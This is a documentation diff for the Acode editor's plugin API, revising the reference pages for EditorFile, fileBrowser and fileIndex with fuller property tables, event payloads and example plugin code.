+| hasVersionMetadata | `boolean` | Whether version/mtime tracking is in use |
+| headerSubtitle | `string` | Value Acode renders under the header for this file |
+
+### Plain Mutable Fields
+
+These are public instance fields, not accessors — read **and** write them directly.
+
+| Property | Type | Description |
+|----------|------|-------------|
+| readOnly | `boolean` | Whether file is readonly. Prefer `file.setReadOnly(value)`, which also reconfigures the live CodeMirror compartment |
+| markChanged | `boolean` | When `false`, session text changes stop marking the file dirty and stop the change pipeline |
+| focused | `boolean` | Whether the editor was focused when the tab was left |
+| focusedBefore | `boolean` | Snapshot of `focused` taken when the tab was deactivated |
+| paneId | `string \| null` | Id of the pane hosting this tab |
+| isPanePlaceholder | `boolean` | Whether this is an auto-created empty tab |
+| persistInSession | `boolean` | Whether the tab is restored on next launch |
+| lastScrollTop | `number` | Last known vertical scroll offset |
+| lastScrollLeft | `number` | Last known horizontal scroll offset |
+| docVersion | `number` | Bumped on every edit; drives dirty tracking |
+| savedVersion | `number` | `docVersion` as of the last save/load |
+| cacheVersion | `number` | `docVersion` as of the last crash-cache write |
+| savedMtime | `number \| null` | mtime as of the last save/load |
+| diskMtime | `number \| null` | Latest known mtime on disk |
+| hasDiskConflict | `boolean` | Editor and disk both changed |
+| restoredSelection | `object \| null` | Pending selection to restore |
+| restoredFolds | `Array \| null` | Pending folds to restore |
+| editorSettings | `object` | `{ tabSize, softTab, textWrap }` snapshot taken at construction |
+| currentMode | `string` | Active language mode name, set by `setMode()` |
+| currentLanguageExtension | `Function \| null` | Language loader resolved by `setMode()` |
 
 ### Writable(setters) Properties
 
 | Property | Type | Description |
 |----------|------|-------------|
-| id | `string` | Set file unique ID |
-| filename | `string` | Set file name |
-| location | `string` | Set file directory path |
-| uri | `string` | Set file location |
-| eol | `'windows' \| 'unix'` | Set end of line character |
-| editable | `boolean` | Set file editability |
-| pinned   | `boolean` | Set file pinned state |
-| readOnly | `boolean` | Set file readonly state |
+| id | `string` | Set file unique ID (also renames the crash-cache file) |
+| filename | `string` | Set file name. Emits `rename`, then `rename-file`; re-derives the mode when the extension changes |
+| location | `string` | Set file directory path (rewrites `uri`) |
+| uri | `string` | Set file location; assigning `null` marks the file deleted and unsaved |
+| eol | `'windows' \| 'unix'` | Set end of line character by rewriting the document |
+| editable | `boolean` | Set file editability; also emits `update` / `update:read-only` |
+| pinned | `boolean` | Set file pinned state (delegates to `setPinnedState`) |
+| isUnsaved | `boolean` | Force the dirty flag |
+| session | `EditorState` | Replace the stored CodeMirror state |
 
 ## Methods
 
 ### File Operations
 
-#### [save()](#save)
-Saves the file to its current location.
+#### [save(origin)](#save-origin)
+Saves the file to its current location. Resolves `true` when the write succeeded, `false` when it was skipped or a handler declined.
 
 ```js
 await file.save();
@@ -118,13 +170,18 @@ Saves the file to a new location.
 await file.saveAs();
 ```
 
-#### [remove(force = false, options = { ignorePinned = false, silentPinned = false })](#removeforce--false)
-Removes and closes the file.
+#### [remove(force = false, options = {})](#remove-force-false-options)
+Removes and closes the file. Resolves `true` when the tab was closed, `false` when it was blocked (pinned, or the user declined the unsaved-changes prompt).
+
+| Option | Type | Default | Description |
+|---|---|---|---|
+| `ignorePinned` | `boolean` | `false` | Close a pinned tab anyway |
+| `silentPinned` | `boolean` | `false` | Suppress the "unpin tab before closing" toast |
+| `suppressPanePlaceholder` | `boolean` | `false` | Internal: skip creating a replacement empty tab |
 
 ```js
 await file.remove(true); // Force close without save prompt
 
-// Attempt to close a pinned tab, bypassing the pinned check
 // Attempt to close a pinned tab, bypassing the pinned check
 await file.remove(false, { ignorePinned: true });
 
@@ -140,113 +197,183 @@ file.makeActive();
 ```
 
 #### [removeActive()](#removeactive)
-Removes active state from the file.
+Removes active state from the file (fires `blur`).
 
 ```js
 file.removeActive();
 ```
 
-#### [setPinnedState(value: boolean, options = { reorder = false, emit = true })](#setpinnedstate)
-Updates Pinned State for the file, triggers reorder (if true), emits Events (editorManager `update` event with `pin-tab` as the first argument and affected File - second argument )
+#### [load()](#load)
+Loads the file's text into its stored session, reusing an in-flight load. Only meaningful for editor-type files that are not already loaded.
 
 ```js
-file.setPinnedState(false, {})
+await file.load();
+```
 
-editorManager.on("update", (action, file) => {
+#### [render()](#render)
+Makes the file active and updates the pane/tab layout (drops leftover placeholder tabs).
+
+```js
+file.render();
+```
+
+#### [setReadOnly(value)](#setreadonly-value)
+Sets `readOnly`, keeps `editable` in sync, and reconfigures the live CodeMirror read-only compartment.
+
+```js
+file.setReadOnly(true);
+```
+
+#### [setPinnedState(value, options = { reorder: false, emit: true })](#setpinnedstate-value-options-reorder-false-emit-true)
+Updates the pinned state, updates the tab, calls `onpinstatechange(value)`, optionally reorders the pane's tabs, and emits `update` with `pin-tab` plus the file. Returns the new boolean value.
+
+```js
+file.setPinnedState(false, {});
+
+window.editorManager.on("update", (action, file) => {
     if(action === "pin-tab") doSomething();
 });
 ```
 
 #### [togglePinned()](#togglepinned)
-Toggles the pinned State of the file
+Toggles the pinned state of the file.
 
 ```js
 file.togglePinned();
 ```
 
+### Dirty-state Helpers
+
+| Method | Returns | Description |
+|---|---|---|
+| `hasUnsavedChanges()` | `boolean` | Sync check comparing the live document against the last saved snapshot |
+| `refreshUnsavedState()` | `boolean` | Recomputes and applies `isUnsaved`, returns it |
+| `isChanged()` | `Promise<boolean>` | Compares the document against the file on disk (native compare with a JS fallback) |
+| `markEdited({ exact = false })` | `void` | Bumps `docVersion` and sets `isUnsaved` |
+| `markLoaded({ mtime, isUnsaved = false, savedDoc = null })` | `void` | Resets all version/mtime tracking after a load |
+| `markSaved({ mtime, savedDoc, savedVersion })` | `void` | Resets tracking after a save |
+| `markDiskChanged({ mtime, deleted = false })` | `void` | Records an external disk change / deletion |
+
 ### Editor Operations
 
-#### [setMode(mode)](#setmodemode)
-Sets syntax highlighting mode for the file.
+#### [setMode(mode, options = { recommend: true })](#setmode-mode-options-recommend-true)
+Sets the syntax highlighting mode. Without a mode it resolves one from the filename (honouring `localStorage.modeassoc`). Updates `currentMode` / `currentLanguageExtension` and the tab icon. Fires `changeMode` first, and aborts if that event is `preventDefault()`d.
 
 ```js
 file.setMode('javascript');
+file.setMode('myPluginLang', { recommend: false });
 ```
 
-#### [writeToCache()](#writetocache)
-Writes file content to cache.
+#### [scheduleCacheWrite(delay = 1500)](#schedulecachewrite-delay-1500)
+Schedules a crash-cache write. `delay <= 0` flushes immediately. No-ops for non-editor files, the default session, or files that cannot be saved.
 
 ```js
-await file.writeToCache();
+file.scheduleCacheWrite();
+await file.flushCacheWrite();
 ```
 
-#### [isChanged()](#ischanged)
-Checks if file has unsaved changes.
+#### [writeToCache()](#writetocache)
+Writes file content to the crash cache immediately.
 
 ```js
-const changed = await file.isChanged();
+await file.writeToCache();
 ```
 
 #### [canRun()](#canrun)
-Checks if file can be run.
+Resolves whether the file can be run (checks for `index.html` in the parent folder, then a `.html`/`.htm`/`.md`/`.js`/`.svg` filename). Fires `canRun`.
 
 ```js
 const canRun = await file.canRun();
 ```
 
-#### [writeCanRun(callback)](#writecanruncallback)
-Sets whether to show run button.
+#### [writeCanRun(cb)](#writecanrun-cb)
+Overrides the run-button state. `cb` may return a boolean or a Promise for one.
 
 ```js
-file.writeCanRun(() => true);
+await file.writeCanRun(() => true);
 ```
 
 #### [run()](#run)
-Runs the file.
+Runs the file in preview mode without using the current file as the entry point. Fires `run` first; `preventDefault()` aborts.
 
 ```js
 file.run();
 ```
 
 #### [runFile()](#runfile)
-Runs the file in app.
+Runs the file using it as the entry point.
 
 ```js
 file.runFile();
 ```
 
+#### [runAction()](#runaction)
+Asks the OS to run the file (`RUN` file action).
+
+```js
+file.runAction();
+```
+
 #### [openWith()](#openwith)
-Opens file with system app.
+Opens file with the system app (`VIEW` action).
 
 ```js
 file.openWith();
 ```
 
 #### [editWith()](#editwith)
-Opens file for editing with system app.
+Opens the file for editing with a system app (`EDIT` action, `text/plain`).
 
 ```js
 file.editWith();
 ```
 
 #### [share()](#share)
-Shares the file.
+Shares the file (`SEND` action).
 
 ```js
 file.share();
 ```
 
-#### [addStyle(style)](#addstylestyle)
-Adds stylesheet to tab's shadow DOM.
+#### [addStyle(style)](#addstyle-style)
+Adds a stylesheet (or inline CSS string) to the tab's shadow DOM. No-op for editor-type tabs.
 
 ```js
 file.addStyle('custom.css');
 ```
 
+#### [setCustomTitle(titleFn)](#setcustomtitle-titlefn)
+Overrides the text Acode renders under the header for this tab.
+
+```js
+file.setCustomTitle(() => "Build 1.2.3");
+```
+
+### Reading and Writing Text
+
+There is **no** `getContent()` / `setContent()` / `isModified` / `cursorPosition` / `selection` / `undo()` / `redo()` / `scrollToLine()` on `EditorFile`. Use the session or the live view:
+
+```js
+// Read / replace the whole document through the stored state
+const stored = file.session.getValue();
+file.session.setValue('console.log("hi")');
+
+// Or through the live view for the active file
+const view = window.editorManager.editor;
+const live = view.state.doc.toString();
+const { from, to } = view.state.selection.main;
+const { row, column } = view.getCursorPosition();
+view.scrollToRow(10);
+```
+
+### Closing
+
+There is **no** `close()` or `open()` on `EditorFile` — use [`remove()`](#remove-force-false-options) to close, and `makeActive()` / `new EditorFile(name, { uri })` to open.
+
 ### Event Handling
 
-#### [on(event, callback)](#onevent-callback)
-Adds event listener.
+#### [on(event, callback)](#on-event-callback)
+Adds an event listener. The event name is lower-cased before lookup, so `on('loadError', fn)` and `on('loaderror', fn)` are equivalent.
 
 ```js
 file.on('save', (event) => {
@@ -254,32 +381,132 @@ file.on('save', (event) => {
 });
 ```
 
-#### [off(event, callback)](#offevent-callback)
-Removes event listener.
+#### [off(event, callback)](#off-event-callback)
+Removes one event listener (removes the first matching reference only).
 
 ```js
 file.off('save', callback);
 ```
 
+There is no `emit()` — events are dispatched by the file itself. Each event also has a single-slot property handler (`file.onsave`, `file.onchange`, …) that is invoked before the listeners.
+
+::: warning
+`pinstatechange` has **no** event bucket, so `file.on('pinstatechange', fn)` silently does nothing. Assign the property instead: `file.onpinstatechange = (pinned) => {}`.
+:::
+
 ## Events
 
-The EditorFile class emits the following events:
-
-| Event | Description |
-|-------|-------------|
-| save | File is saved |
-| change | File content changes |
-| focus | File gains focus |
-| blur | File loses focus |
-| close | File is closed |
-| rename | File is renamed |
-| load | File is loaded |
-| loadError | Error loading file |
-| loadStart | File loading starts |
-| loadEnd | File loading ends |
-| changeMode | Syntax mode changes |
-| run | File is run |
-| canRun | File runnable state changes |
+The EditorFile class emits the following events. Every payload is a `FileEvent` with `target`, `preventDefault()` and `stopPropagation()`.
+
+| Event | Payload | Fires when |
+|-------|---------|------------|
+| save | [`SaveFileEvent`](#savefileevent) | A save is about to run; `preventDefault()` or `respondWith()` takes over |
+| change | `FileEvent` | **Never emitted by the class.** Listen to `editorManager` `file-content-changed` instead |
+| focus | `FileEvent` | `makeActive()` finished |
+| blur | `FileEvent` | `removeActive()` |
+| close | `FileEvent` | The tab is being destroyed (inside `remove()`) |
+| rename | `FileEvent` | `filename` or `location` is being changed; `preventDefault()` aborts the rename |
+| load | `FileEvent` | Text finished loading, on the next macrotask after load |
+| loadError | `FileEvent` | Loading threw; the tab is then removed |
+| loadStart | `FileEvent` | Loading began |
+| loadEnd | `FileEvent` | Loading finished (success or failure) |
+| changeMode | `FileEvent` | Before `setMode()` resolves a mode; `preventDefault()` skips the change |
+| run | `FileEvent` | Before the file is run; `preventDefault()` aborts |
+| canRun | `FileEvent` | Before the runnable state is computed; `preventDefault()` skips detection |
+
+### SaveFileEvent
+
+`save` receives a `SaveFileEvent` (a `FileEvent` subclass) with these extras:
+
+| Member | Type | Description |
+|---|---|---|
+| `saveAs` | `boolean` | `true` when the save came from `saveAs()` |
+| `respondWith(result)` | `(result: boolean \| Promise<boolean>) => void` | Claim the save. Must be called exactly once, synchronously, during dispatch. Implies `preventDefault()` |
+| `response` | `Promise<boolean> \| undefined` | Set once `respondWith()` was called |
+
+```js
+// Persist a custom tab yourself instead of writing it to disk.
+async function persist(url, text) {
+  const res = await fetch(url, { method: "POST", body: text });
+  return res.ok;
+}
+
+const customTab = new EditorFile("report.html", { type: "custom", content });
+
+customTab.onsave = (event) => {
+  event.respondWith(
+    persist("https://example.com/save", customTab.content.textContent),
+  );
+};
+```
+
+## Example Plugin
+
+Insert at the cursor, replace the selection, and save — all against the live CodeMirror view so dirty tracking and undo history stay correct.
+
+::: tip What `readOnly` means on a command
+`readOnly: true` means **"this command is allowed to run in a read-only editor"**, not "this command makes things read-only". The gate is `view.state.readOnly ? !!command.readOnly : true` (`src/cm/commandRegistry.js:1623-1626`), and the default for plugin commands is the permissive `true` (`:1798`). So a command that mutates the document must declare `readOnly: false` — otherwise it is allowed to run on a read-only tab, and Acode's transaction filter will not save you: it only drops transactions tagged as user edits (`input` / `delete` / `move` / `undo` / `redo`), so a bare `view.dispatch({ changes })` goes straight through (`src/cm/editorReadOnly.ts:41-50`). See [Commands API → `addCommand(descriptor)`](../utilities/commands.md#addcommanddescriptor).
+:::
+
+```js
+const commands = acode.require('commands');
+
+function activeEditorFile() {
+  const manager = window.editorManager;
+  const file = manager.activeFile;
+  if (!file || file.type !== 'editor') return null;
+  if (!file.loaded || file.loading) return null;
+  return file;
+}
+
+commands.addCommand({
+  name: 'example.wrapSelection',
+  description: 'Wrap the selection in a block comment',
+  readOnly: false,
+  exec: (view) => {
+    const file = activeEditorFile();
+    if (!file) return false;
+
+    const { from, to } = view.state.selection.main;
+    const selected = view.state.doc.sliceString(from, to);
+
+    const insert = `/* ${selected || 'todo'} */`;
+    const cursor = from + insert.length;
+
+    view.dispatch({
+      changes: { from, to, insert },
+      selection: { anchor: cursor },
+      scrollIntoView: true,
+    });
+
+    file.save();
+    return true;
+  },
+});
+
+commands.addCommand({
+  name: 'example.insertAtCursor',
+  description: 'Insert a snippet at the cursor',
+  readOnly: false,
+  exec: (view) => {
+    const file = activeEditorFile();
+    if (!file) return false;
+
+    const { from, to } = view.state.selection.main;
+    const snippet = 'console.log("hello");\n';
+
+    view.dispatch({
+      changes: { from, to, insert: snippet },
+      selection: { anchor: from + snippet.length },
+    });
+
+    // Replace the whole document instead
+    // view.dispatch({ changes: { from: 0, to: view.state.doc.length, insert: snippet } });
+
+    return true;
+  },
+});
+```
 
 ## Examples
 
@@ -334,10 +561,11 @@ file1.addStyle('/styles/additional.css');
 Custom Editor Tabs are isolated from main DOM using Shadow DOM, so don't select tab elements using `document`.
 :::
 
-Syntax highlighting inside a custom tab is opt-in and available from **versionCode `1008`**. Set `highlightStyles: true` so the tab's shadow root gets the theme stylesheet, then add the `cm-highlighted` class to the wrapper. See [Code Highlight](../utilities/code-highlight.md).
+Syntax highlighting inside a custom tab is opt-in and added in **v1.13.2**. Set `highlightStyles: true` so the tab's shadow root gets the theme stylesheet, then add the `cm-highlighted` class to the wrapper. See [Code Highlight](../utilities/code-highlight.md).
 
 ```js
 const codeHighlight = acode.require("codeHighlight");
+const source = 'const answer = 42;';
 const html = await codeHighlight.highlightCodeBlock(source, "javascript");
 
 const code = document.createElement("code");
@@ -366,13 +594,13 @@ try {
 ### Handling File Events
 
 ```js
-file.on('change', (event) => {
-    console.log('File content changed');
-});
-
 file.on('save', (event) => {
     console.log('File saved');
 });
+
+file.on('focus', (event) => {
+    console.log('File activated:', event.target.filename);
+});
 ```
 
 ### Running a File
@@ -401,4 +629,4 @@ Use the `isChanged()` method to check for unsaved changes before closing files.
 
 ::: warning
 Always handle file operations asynchronously and implement proper error handling.
-:::
+:::
\ No newline at end of file
diff --git a/docs/editor-components/file-browser.md b/docs/editor-components/file-browser.md
index 0ec0215..4263dc4 100644
--- a/docs/editor-components/file-browser.md
+++ b/docs/editor-components/file-browser.md
@@ -8,14 +8,35 @@ The File Browser API provides a way to let users browse and select files or fold
 const fileBrowser = acode.require('fileBrowser');
 ```
 
+`acode.require("fileBrowser")` returns a **lazy loader wrapper**, not the page component itself. It dynamically imports the real browser on first call, so the UI code is only shipped when a plugin asks for it.
+
+## Signature
+
+```js
+fileBrowser(mode, info, doesOpenLast)
+```
+
 ## Parameters
 
 | Parameter | Type | Description | Default |
 |-----------|------|-------------|---------|
 | mode | `'file'` \| `'folder'` \| `'both'` | The file browser mode | `'file'` |
-| info | `string` | Message shown to user explaining purpose | - |
-| doesOpenLast | `boolean` | Open last visited directory | `true` |
-| defaultDir | `Array<{name: string, url: string}>` | Default directory to open | - |
+| info | `string` | Message shown to the user explaining the purpose. Falls back to a built-in string per mode | mode-dependent |
+| doesOpenLast | `boolean` | Open the last visited directory instead of the storage list | `true` |
+
+### `mode`
+
+| Value | Behaviour |
+|---|---|
+| `'file'` | Only files are selectable; a "Select document" entry is added to the storage list |
+| `'folder'` | A floating check button confirms the current directory; the resolved object is the **directory you are standing in**, not a child |
+| `'both'` | Files and folders are both selectable |
+
+Any other value falls back to `'file'` behaviour. Note that in `'both'` mode the built-in default message is `"file browser"` rather than `"open file"` / `"open folder"`.
+
+### `doesOpenLast`
+
+When `true` (the default) and a previous navigation exists in `localStorage.fileBrowserState`, the browser restores that directory trail and opens the last one. Pass `false` to always land on the storage list (`/`) instead.
 
 ## Return Value
 
@@ -26,9 +47,57 @@ interface SelectedFile {
 		type: 'file' | 'folder';  // Type of selected item
 		url: string;              // Full path/URL
 		name: string;            // File/folder name
+		list?: unknown[];        // Present on folder results: the directory entries
+		scroll?: number;         // Present on folder results: saved scroll offset
+		mode?: 'single';         // Present on Android SAF "Select document" results
 }
 ```
 
+The exact shape depends on how the user finished:
+
+| How it resolved | Resolved object |
+|---|---|
+| Tapped a file | `{ type: 'file', url, name }` |
+| Tapped the folder check button in `'folder'` / `'both'` mode | `{ type: 'folder', url, name, list, scroll }` — the whole current-directory object is spread in |
+| Picked a file through Android's document picker | `{ type: 'file', url, name, mode: 'single', ... }` — `name` comes from the picked `filename` |
+
+::: warning
+The wrapper accepts extra arguments and forwards them, but the browser component itself only declares `(mode, info, doesOpenLast)`. A 4th `defaultDir` argument is **silently ignored** — there is no default-directory option in this version.
+:::
+
+## Programmatic Use vs Embedding
+
+Use the promise API for "ask the user for a path" flows:
+
+```js
+const picked = await acode.require('fileBrowser')('file', 'Pick a config file');
+```
+
+The module also exposes helpers for acting on a result without opening any UI yourself:
+
+| Helper | Description |
+|---|---|
+| `fileBrowser.open(res)` | Routes a result to `openFolder(res)` or `openFile(res)` depending on `res.type` |
+| `fileBrowser.openFile(res)` | Opens `res.url` as an editor tab |
+| `fileBrowser.openFolder(res)` | Adds `res.url` as a workspace folder and expands it |
+| `fileBrowser.openError(err)` / `openFileError(err)` / `openFolderError(err)` | Show the matching error dialog |
+
+::: danger
+Embedding the browser component itself is **not** a supported plugin API. There is no exported factory that returns a mountable element — `pages/fileBrowser`'s default export resolves a Promise and pushes its own page onto the app. Use the promise form (or the app commands `acode.exec('open-file')` / `acode.exec('open-folder')` / `acode.exec('open', 'file_browser')`) instead.
+:::
+
+## `acode.fileBrowser(mode, info, openLast)`
+
+The same component is also reachable directly on the `acode` object:
+
+```js
+const picked = await acode.fileBrowser('folder', 'Select project folder');
+```
+
+::: warning
+`acode.fileBrowser` forwards only three arguments, so — like the module — it exposes no `defaultDir` parameter. Use `acode.require('fileBrowser')` directly if you ever need to pass something further.
+:::
+
 ## Examples
 
 ### Basic File Selection
@@ -46,25 +115,54 @@ try {
 }
 ```
 
-### Folder Selection with Default Directory
+### Read the Picked File
 
 ```js
-// Open folder browser with default directory
-const fileBrowser = acode.require('fileBrowser');
+const fs = acode.require('fs');
+
+async function pickAndRead(info) {
+		let picked;
+		try {
+				picked = await acode.require('fileBrowser')('file', info);
+		} catch (err) {
+				// err.code === 0 means the user closed the browser
+				console.log(err.message);
+				return null;
+		}
 
-const defaultDir = [{
-		name: 'Documents',
-		url: '/storage/emulated/0/Documents'
-}];
+		if (picked.type !== 'file') return null;
+
+		try {
+				return await fs(picked.url).readFile('utf-8');
+		} catch (err) {
+				console.error('Unable to read', picked.url, err);
+				return null;
+		}
+}
+
+const configText = await pickAndRead('Select a config file');
+if (configText) acode.alert('Config', configText);
+```
+
+### Folder Selection With `openLast`
+
+```js
+// Open folder browser, starting from wherever the user was last time
+const fileBrowser = acode.require('fileBrowser');
 
 try {
-		const result = await fileBrowser('folder', 'Select project folder', true, defaultDir);
+		const result = await fileBrowser('folder', 'Select project folder', true);
 		if (result.type === 'folder') {
 				console.log(`Selected folder: ${result.name}`);
+				console.log(`Entries in folder: ${result.list?.length ?? 0}`);
 		}
 } catch (err) {
 		console.error('Folder selection was cancelled');
 }
+
+// Always start at the storage list instead
+const fresh = await fileBrowser('folder', 'Select project folder', false)
+		.catch(() => null);
 ```
 
 ### Allow Both File and Folder Selection
@@ -85,13 +183,30 @@ try {
 }
 ```
 
+### Open Without Showing The Result UI
+
+```js
+const fileBrowser = acode.require('fileBrowser');
+
+const picked = await fileBrowser('file', 'Open a file').catch(() => null);
+if (picked) fileBrowser.openFile(picked); // or fileBrowser.open(picked)
+```
+
 ## Error Handling
 
-The File Browser promise will reject if:
-- User cancels the selection
-- File/folder access is denied
-- Selected item cannot be opened
+The File Browser promise rejects in exactly one case: the user closes the browser (back button, lead close icon, or system back).
+
+- The rejection is an `Error` whose `message` is `"User cancelled"` and whose `code` is `0`.
+- "File/folder access is denied" and "Selected item cannot be opened" are *not* rejections — the browser shows an error dialog and stays open, so the promise remains pending until the user closes it.
 
 :::tip
 Always wrap File Browser calls in try/catch blocks for proper error handling.
 :::
+
+## Gotchas
+
+- **The `list` and `scroll` fields only exist on folder results.** A plain file tap resolves to exactly `{ type, url, name }`.
+- **`'folder'` mode resolves the directory you are *in*.** The floating check button is disabled while the browser is at `/`, because there is no "current directory" to confirm there.
+- **`doesOpenLast` restores a shared trail.** The state lives in `localStorage.fileBrowserState`, so it is shared across every file-browser invocation in the app.
+- **Opening an already-open file reuses its tab.** `fileBrowser.openFile(res)` / `acode.exec('open-file')` go through the app's internal `openFile()`, which looks the URI up in the manager and calls `makeActive()` on the existing tab instead of creating a second one.
+- **Nothing is validated for you.** `res.url` is whatever the user tapped; wrap `fs()` calls in `try`/`catch` if the URI may not be readable by your plugin.
\ No newline at end of file
diff --git a/docs/editor-components/file-index.md b/docs/editor-components/file-index.md
index 8347de0..236f4a7 100644
--- a/docs/editor-components/file-index.md
+++ b/docs/editor-components/file-index.md
@@ -1,9 +1,9 @@
-# File Index API <Badge type="tip" text="v1002+" />
+# File Index API <Badge type="tip" text="preferred over fileList" />
 
 The File Index API is the preferred way to list and search files in large local workspaces. It moves indexing for SAF (`content:`) and `file://` roots into a native Android SQLite index so the WebView no longer builds a full in-memory file tree.
 
 ::: info
-Available from **versionCode `1002`**. Set `"minVersionCode": 1002` in `plugin.json` when your plugin depends on it.
+Present in the Acode **v1.13.5** source tree (`src/lib/fileIndex.js`). `CHANGELOG.md` does not record a `versionCode` for this API, so do not hardcode one — detect it at runtime with `acode.require("fileIndex")?.query` or `fileIndex.supports(url)`.
 :::
 
 ## Why use `fileIndex`?
@@ -14,7 +14,7 @@ Available from **versionCode `1002`**. Set `"minVersionCode": 1002` in `plugin.j
 | FTP / SFTP / custom | Still works | Not supported — use `fileList` |
 | API style | Sync tree objects | Async flat records |
 | Large workspaces | Heavy WebView tree | Paginated native queries |
-| Search | App-side workers | Optional native streaming search |
+| Search | App-side workers | Native streaming search (`fileIndex.search`) |
 
 `acode.require("fileList")` is **deprecated**. It now contains files from **non-native providers only**. Plugins that need SAF or `file://` files must migrate to `fileIndex`.
 
@@ -24,6 +24,8 @@ Available from **versionCode `1002`**. Set `"minVersionCode": 1002` in `plugin.j
 const fileIndex = acode.require("fileIndex");
 ```
 
+`acode.require()` lowercases the module name, so `"fileIndex"` and `"fileindex"` both resolve to the same object.
+
 Feature detection:
 
 ```js
@@ -33,6 +35,73 @@ if (!fileIndex?.query) {
 }
 ```
 
+## Async behaviour <Badge type="tip" text="new" />
+
+Every data-returning member of `fileIndex` is **Promise-based**, because it calls into the native `sdcard` plugin:
+
+| Member | Returns | Rejects when |
+| --- | --- | --- |
+| `query(options?)` | `Promise<{entries, cursor, hasMore}>` | Native index unavailable (`"Native file index is unavailable"`) |
+| `get(url)` | `Promise<Entry \| null>` | Same as `query` |
+| `scan(root, options?)` | `Promise & {id, cancel}` | `supports(rootUrl)` is false, or a `error` event arrives |
+| `update(root, changes?)` | `Promise<{added, removed}>` | `supports(rootUrl)` is false |
+| `markDirty(urls)` | `Promise` | Native index unavailable |
+| `clear(roots?)` | `Promise` | Native index unavailable |
+| `whenReady(roots?)` | `Promise` (never rejects) | Never — it uses `Promise.allSettled` |
+
+`search()` is the exception: it is **synchronous** and returns a handle `{id, result, cancel}` where `result` is the Promise. If the native search is unavailable it still returns a handle, but with `id: ""` and an already-**rejected** `result`.
+
+```js
+const job = fileIndex.scan("file:///sdcard/Project");
+job.id;      // "scan-1730000000000-abc123"
+await job;   // resolves with the terminal "done" event
+```
+
+::: warning `result` / returned promises can reject before you attach a handler
+`search()` builds its `result` promise eagerly. If the native search is missing, `result` is rejected immediately — attach a `.catch()` in the same tick or you will get an unhandled rejection.
+:::
+
+## Providers <Badge type="tip" text="new" />
+
+`fileIndex` only ever serves URLs that pass `supports()` — that is, `file:` and `content:` URLs **and** a native plugin that exposes `sdcard.workspaceScan`. Everything else (FTP, SFTP, custom storage plugins) is still indexed in JavaScript and is only visible through the deprecated [`fileList`](./file-list.md).
+
+There is no separate "provider registration" call. Storage plugins register themselves as a **workspace folder**, and Acode routes that folder to one of the two indexers:
+
+```js
+const openFolder = acode.require("openfolder");
+
+openFolder("ftp://example.com/www", {
+  name: "My FTP site", // required, used as the index title
+  listFiles: true,     // opt into file indexing
+});
+```
+
+`openFolder()` pushes a folder descriptor onto `acode.require("addedfolder")`:
+
+| Property | Type | Description |
+| --- | --- | --- |
+| `url` | `string` | Folder URL |
+| `title` | `string` | Display name (also the native index `title`) |
+| `listFiles` | `boolean` | Whether Acode indexes this folder at all. Defaults to `appSettings.value.fileBrowser.listFiles` (`true`) |
+| `id` | `string` | Optional folder id |
+| `saveState` | `boolean` | Persist expand/collapse state |
+| `listState` | `Map<string, boolean>` | Restored expand/collapse state |
+| `remove()` | `() => void` | Remove the folder from the sidebar |
+| `reload()` | `() => void` | Collapse and re-expand the sidebar node |
+
+Because the folder descriptor exposes `title` (not `name`), read it correctly:
+
+```js
+const fileIndex = acode.require("fileIndex");
+
+const roots = acode
+  .require("addedfolder")
+  .filter((folder) => folder.listFiles && fileIndex.supports(folder.url))
+  .map((folder) => folder.url);
+```
+
+Internally, `fileList.addRoot({url, name})` makes the routing decision: `fileIndex.supports(url)` → native scan plus an `add-folder` event of `{url, name, native: true}`; otherwise a `Tree` root is created and walked with `fsOperation(url).lsDir()`. That is the exact boundary between the two APIs.
+
 ## Compatibility
 
 | Provider | Index / query | Content search |
@@ -73,27 +142,56 @@ for (const file of entries) {
 
 ## Methods
 
+These are the **only** eleven members on the module object (`src/lib/fileIndex.js`):
+
+| Member | Signature |
+| --- | --- |
+| `supports` | `supports(url = "") => boolean` |
+| `scan` | `scan(root: string \| {url, name?, title?}, options = {}) => Promise & {id, cancel}` |
+| `update` | `update(root: string \| object, changes = {}) => Promise<{added, removed}>` |
+| `query` | `query(options = {}) => Promise<{entries, cursor, hasMore}>` |
+| `search` | `search(options, onEvent = () => {}) => {id, result, cancel}` |
+| `get` | `get(url: string) => Promise<Entry \| null>` |
+| `markDirty` | `markDirty(urls: string[]) => Promise` |
+| `clear` | `clear(roots = []) => Promise` |
+| `whenReady` | `whenReady(roots?: string[]) => Promise` |
+| `subscribe` | `subscribe(listener: (event) => void) => () => boolean` |
+| `cancel` | `cancel(id: string) => Promise` |
+
 ### `supports(url?: string): boolean`
 
-Returns `true` when the URL can be indexed natively (`file:` or `content:` and the native plugin is available).
+Returns `true` when the URL can be indexed natively (`file:` or `content:` **and** the native plugin exposes `sdcard.workspaceScan`). The argument defaults to `""`, which always returns `false`.
 
 ```js
 fileIndex.supports("file:///sdcard/MyProject"); // true on supported builds
+fileIndex.supports("content://com.android.externalstorage.documents/tree/primary%3ADownload"); // true
 fileIndex.supports("ftp://example.com/www"); // false
 ```
 
 ### `query(options?): Promise<FileIndexQueryResult>`
 
-Query indexed entries. Results are **flat metadata records**, not `Tree` objects, and support **cursor pagination**.
+Query indexed entries. Results are **flat metadata records**, not `Tree` objects, and support **offset pagination**.
 
 | Option | Type | Default | Description |
 | --- | --- | --- | --- |
 | `roots` | `string[]` | `[]` | Limit to these workspace roots. Empty = all indexed roots |
-| `text` | `string` | `""` | Case-insensitive match on `name` and `path` |
+| `text` | `string` | `""` | Case-insensitive substring match on `name` **or** `path` (`LIKE '%text%'`) |
 | `url` | `string` | `""` | Exact URL lookup |
 | `includeDirectories` | `boolean` | `false` | Include folders |
-| `limit` | `number` | `200` | Page size (capped at `1000`) |
-| `cursor` | `number` | `0` | Offset from a previous page |
+| `limit` | `number` | `200` | Page size. Clamped to `1 … 1000` by the native layer |
+| `cursor` | `number` | `0` | Row offset. `offset` is accepted as an alias. Clamped to `>= 0` |
+
+Result shape:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `entries` | `Entry[]` | Flat entry records for this page |
+| `cursor` | `number \| null` | Next offset, or `null` when there is nothing left |
+| `hasMore` | `boolean` | Whether more rows exist past this page |
+
+::: tip Ordering
+With `text`, results whose **name starts with** the query rank first, then case-insensitive `name`, then `path`. Without `text`, ordering is simply case-insensitive `name`, then `path`.
+:::
 
 ```js
 let cursor = 0;
@@ -114,7 +212,7 @@ while (true) {
 
 ### `get(url: string): Promise<FileIndexEntry | null>`
 
-Fetch a single indexed entry by exact URL (includes directories).
+Fetch a single indexed entry by exact URL. It is a thin wrapper over `query({url, includeDirectories: true, limit: 1})` and returns `entries[0]`, or `null` when nothing matches.
 
 ```js
